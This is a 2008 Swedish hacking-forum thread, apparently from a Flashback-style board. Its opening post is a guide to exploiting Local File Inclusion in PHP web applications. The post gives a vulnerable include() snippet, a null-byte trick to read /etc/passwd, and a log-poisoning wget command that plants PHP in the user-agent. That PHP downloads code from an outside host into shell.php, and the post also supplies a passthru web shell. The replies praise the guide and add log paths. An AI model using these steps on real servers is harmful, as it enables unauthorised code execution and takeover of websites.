2008-07-31, 17:08
  #1
Medlem
Ödlans avatar
På efterfrågan och på grund av att LFIs på senare tid börjat dyka upp mer och mer skrivs nu denna guide. Guidens syfte är att genom demonstrationer och exempel redovisa hur en LFI fungerar i praktiken.

Du är
- Bekant med PHP och hur UNIX fungerar
- Medveten om att detta är en informativ guide (läs: ingen uppmuntran)
Vad är LFI?
LFI (Local File Inclusion) är väldigt lik sitt syskon RFI (Remote File Inclusion). Skillnaden på dem är simpel: LFI möjliggör det att inkludera lokala filer på en maskin medan en RFI möjliggör det att inkludera externa filer (dinsida.se/0nd.php).

Hur uppstår och utnyttjas en LFI?
LFIs uppstår, som vanligt, på grund av fel i en applikation. Nedan följer ett exempel på ett script som är sårbart för LFI:

Kod:
<?php
    
include($_GET['page']);
?>

För att inkludera ./nyheter.php skulle man alltså anropa scriptet genom sida.php?page=nyheter.php. Ponera nu att parametern "page" får värdet "/etc/passwd". Resultatet är självklart. En fallgrop många stöter på är när sida.php istället anropar enligt $page.php (sida.php?page=nyheter(.php)):

Kod:
<?php
    
include($_GET['page']..php”);
?>

En lösning till att kringgå detta hinder och inkludera en fil som inte avslutas med .php är att lägga till ett nullbyte efter efterfrågat filnamn. Detta fungerar då nullbytes agerar string terminator och därav kommer allt efter nullbyten ignoreras. Med nullbyte: sida.php?page=/etc/passwd%00.

Omvandla en LFI till en RFI
Eftersom ett hål är ganska meningslöst om det inte utnyttjas vill vi naturligtvis omvandla detta hål till en RFI (eller bättre). Vi hoppar snabbt ut ur den trånga lådan vi befinner oss i för att tänka till en stund och kommer på att webbservrar trivs jättebra med att föra loggar över allt som händer. Om vi kan påverka informationen som skrivs till en logg kan vi naturligtvis inkludera den och få den att exekveras som PHP. Metoden kallas för log poisoning och fungerar inte bara inom webbsammanhang.

Vi vet att webbservern lagrar information om vår aktivitet. Ett sätt att mata in vad vi vill vore naturligtvis att ändra vår efterfrågan: vår user-agent. Denna metod kommer naturligtvis endast fungera om loggarna vi kan inkludera via vår LFI även lagrar vår user-agent.

För att modifiera user-agent skulle vi kunna knacka ihop ett stycke kod med cpan's om vi så skulle. Jag tänker snarare visa en annan metod och slipper därav uppfinna hjulet:

Kod:
$ wget --user-agent="<?php fwrite(fopen('shell.php','w'); file_get_contents('http://www.dinsida.se/0nd.txt')); ?>" sida.php?page=/var/log/apache/access_log%00

När vi nu inkluderar /var/log/apache/access_log kommer koden från vår user-agent exekveras och vips har vi trollat fram shell.php med innehållet ur dinsida.se/0nd.txt, t.ex.

Kod:
<?php
    passthru
($_GET['h4x']);
?>

Default location för webbserverloggar


Med reservation för typos, Ödlan har sömnsvårigheter. Kom ihåg: att deface'a utan syfte för att imponera på vänner är aldrig tufft.
Citera
2008-07-31, 17:10
  #2
Medlem
Jocke11s avatar
Mycket bra skrivet
Citera
2008-07-31, 17:19
  #3
Medlem
riktigt bra guide!
Citera
2008-07-31, 17:21
  #4
Medlem
conxcuss avatar
Vackert med förklaring till LFI -> RFI. Snyggt!
Citera
2008-07-31, 18:09
  #5
Medlem
patrikgbgs avatar
Mer default log paths

Windows
WAMP5 1.7.3 C:\wamp\apache2\logs
WAMP5 2 C:\program files\wamp\apache2\logs
Citera
2008-07-31, 18:42
  #6
Medlem
f.d. pzhukkes avatar
Stiligt!

Kan du inte också skriva som en "notis" om hur man motverkar LFI's i första hand?
Citera
2008-07-31, 20:54
  #7
Medlem
hultass avatar
Ödlan levererar som vanligt. Keep it up!
Citera
2008-07-31, 21:13
  #8
Medlem
Citat:
Ursprungligen postat av f.d. pzhukke
Stiligt!

Kan du inte också skriva som en "notis" om hur man motverkar LFI's i första hand?

Är väl som vanligt, kontrollera ALL indata.

Tack för guiden.
Citera
2009-02-18, 23:40
  #9
Medlem
Citat:
Ursprungligen postat av patrikgbg
Mer default log paths

Windows
WAMP5 1.7.3 C:\wamp\apache2\logs
WAMP5 2 C:\program files\wamp\apache2\logs


En till default log path:

WAMP5 1.7.4 C:\wamp\logs
Citera

Skapa ett konto eller logga in för att kommentera

Du måste vara medlem för att kunna kommentera

Skapa ett konto

Det är enkelt att registrera ett nytt konto

Bli medlem

Logga in

Har du redan ett konto? Logga in här

Logga in